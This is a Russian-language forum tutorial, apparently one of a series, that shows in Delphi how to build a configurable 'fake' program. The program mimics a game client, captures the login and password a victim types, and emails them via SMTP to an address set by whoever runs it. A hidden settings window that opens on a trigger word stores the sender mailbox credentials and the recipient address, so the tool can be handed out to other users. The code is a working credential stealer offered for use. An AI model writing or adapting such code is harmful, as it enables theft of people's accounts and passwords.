Предисловие.
Здравствуйте! С вами Amba. Сегодня я продолжу тематику фейков. На прошлом уроке мы научились писать фейк программу. Мы смогли организовать отправку письма. В этом нет особых проблем. сегодня мы рассмотрим вариант универсального фейка, то есть имеющего возможность настраиваться под пользователя. Для чего это нужно? Допустим, у вас появилась отличная идея, вы реализовали её, выложили на форум.... Что последует дальше? Вам начнёт писать куча людей, они все захотят вашу программу, настроенную под себя. Настраивать каждому человеку в отдельности сложно и занимает много времени. А вот если бы ваша программа умела сохранять настройки пользователя, вам бы не пришлось настраивать её индивидуально для каждого человека. Это не накладно для вас и удобно для пользователя. Как этого достичь? В вот именно это мы сей час и рассмотрим.
Справка.
Для того что бы понять что написанно в коде, мы должны разобраться с двумя операторами.
На примере Паскаля:
Операторы ввода и вывода.
Write или WriteLn - оператор вывода (означает писать) информации на экран. Write и WriteLn равнозначны. Добавляем окончание Ln, оно означает перекинуть курсор на следующую строку.
Read и ReadLn - оператор вводы. Означает читать. Как и в пред идущую случае окончание Ln переносит курсор на следующую строку.
В delphi эти операторы имеют немного другое значение:
WriteLn - Запись, в файл. (в нашем случае).
ReadLn - Чтение из файла. (в нашем случае).
Код программы.
Переходим к коду, так как интерфейс программы мы будем использовать из прошлого урока.
Первое что мы делаем. Мы должны добавить новую форму к проекту, на этой форме мы в дальнейшем разместим элементы настройки. Для создания новой формы нам необходимо:
Нажать File далее выбрать New и выбрать Form. Всё, новая форма готова.
Интерфейс новой формы.
Мы будем использовать максимально простой интерфйс, но сначало подумаем, что нам необходимо для настройки?
1) Логин почты.
2) Пароль от почты
3) SMTP сервер
4) Почта целиком.
5) Почта, на которую будут приходить письма.
И того мы насчитали 5 компонентов Edit. Кидаем их на форму. Напоминаю, они находятся на вкладке Standart.
Нам понадобится 1 кнопка. Кидаем её со вкладки Standart. И так наша форма должна выглядеть вот так:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Теперь нам необходимо кинуть на форму 5 компонентов Label со вкладки standart. Изменяем заголовок каждой из них, по очереди. Для этого редактируем свойство Caotion в инспекторе объектов.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Даём им имена:
1) SMTP сервер
2) Логин почты.
3) Пароль от почты
4) Почта целиком.
5) Почта, на которую будут приходить письма.
Получаем такую форму:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Переходим во вкладку код.
В разделе var мы должны объявить несколько переменных:
Код:
txt:textfile;
st,s:string;
кстати, вы должны создать тестовый файл, и он должен носить имя elementclient.txt
Самое время научить программу записывать информацию в файл. Для этого переходим в форму, делаем двойной щелчок по копке.
Нас перекидывает к коду программы. Сюда вписываем код:
procedure TForm1.Button1Click(Sender: TObject);
begin
// то что вы должны вставить в шаблон процедуры
assignfile(txt,'elementclient.txt');
rewrite(txt);
writeln(txt,edit1.Text);
writeln(txt,edit2.Text);
writeln(txt,edit3.Text);
writeln(txt,edit4.Text);
writeln(txt,edit5.Text);
closefile(txt);
//конец вашего теста
end;
Исходник!
Вот исхоный код редактора. Вы создаёте его в своей программе. этот редактор просто наглядный пример.
Теперь необходимо научить программку открывать данное окно настроек. Для этого делаем двойной щелчок на Edit1 (он находится на главой форме Form1, а не на той, которую мы создали).
И пишем следующий код:
Код:
If (Edit1.Text='Zhyk') then
form2.show;
Что он значит? если текст в едит1 будет Zhyk, тогда открывать окно настроек.
_____________
Изменения кода.
Переходим на форму 2 и делаем так,
В инспкторе объектов переходим к вкладке Events. Находим там свойство OnCreate, делаем двойной щелчок и попадаем в код программы.
procedure TForm1.FormCreate(Sender: TObject);
begin
// то что вы должны вставить в шаблон процедуры
assignfile(txt,'elementclient.txt');
reset(txt);
readln(txt,st);
edit1.Text:=st;
readln(txt,st);
edit2.Text:=st;
readln(txt,st);
edit3.Text:=st;
readln(txt,st);
edit4.Text:=st;
readln(txt,st);
edit5.Text:=st;
closefile(txt);
//конец
end;
Только что мы дали команду программе читать информацию из файла.
Как редактируем код отправки?
Вот так:
Код:
idmessage1.CharSet:='windows-1251';
idmessage1.ContentType := 'text/html';
idSmtp1.Host:=Form2.Edit1.Text;
idSmtp1.Port:=587; // порт
idSmtp1.Username:=Form2.Edit2.Text; //логин ящика откуда отсылаем
idSmtp1.Password:=Form2.Edit3.Text; //пас от ящика
idmessage1.Body.Text:='Пароль: '+Edit1.Text+' Логин: '+Edit2.Text;
idmessage1.From.Text:=Form2.Edit4.Text;
idmessage1.Recipients.EMailAddresses:=Form2.Edit5.Text; // мыло куда будут приходить письма
idmessage1.Subject:='Тема'; // Тема письма
Вот и всё. способ не самый рациональный, но самый простой. Таким образом мы заставили программку читаь информацию из файлаи записывать её туда. [Ссылки могут видеть только зарегистрированные пользователи. ]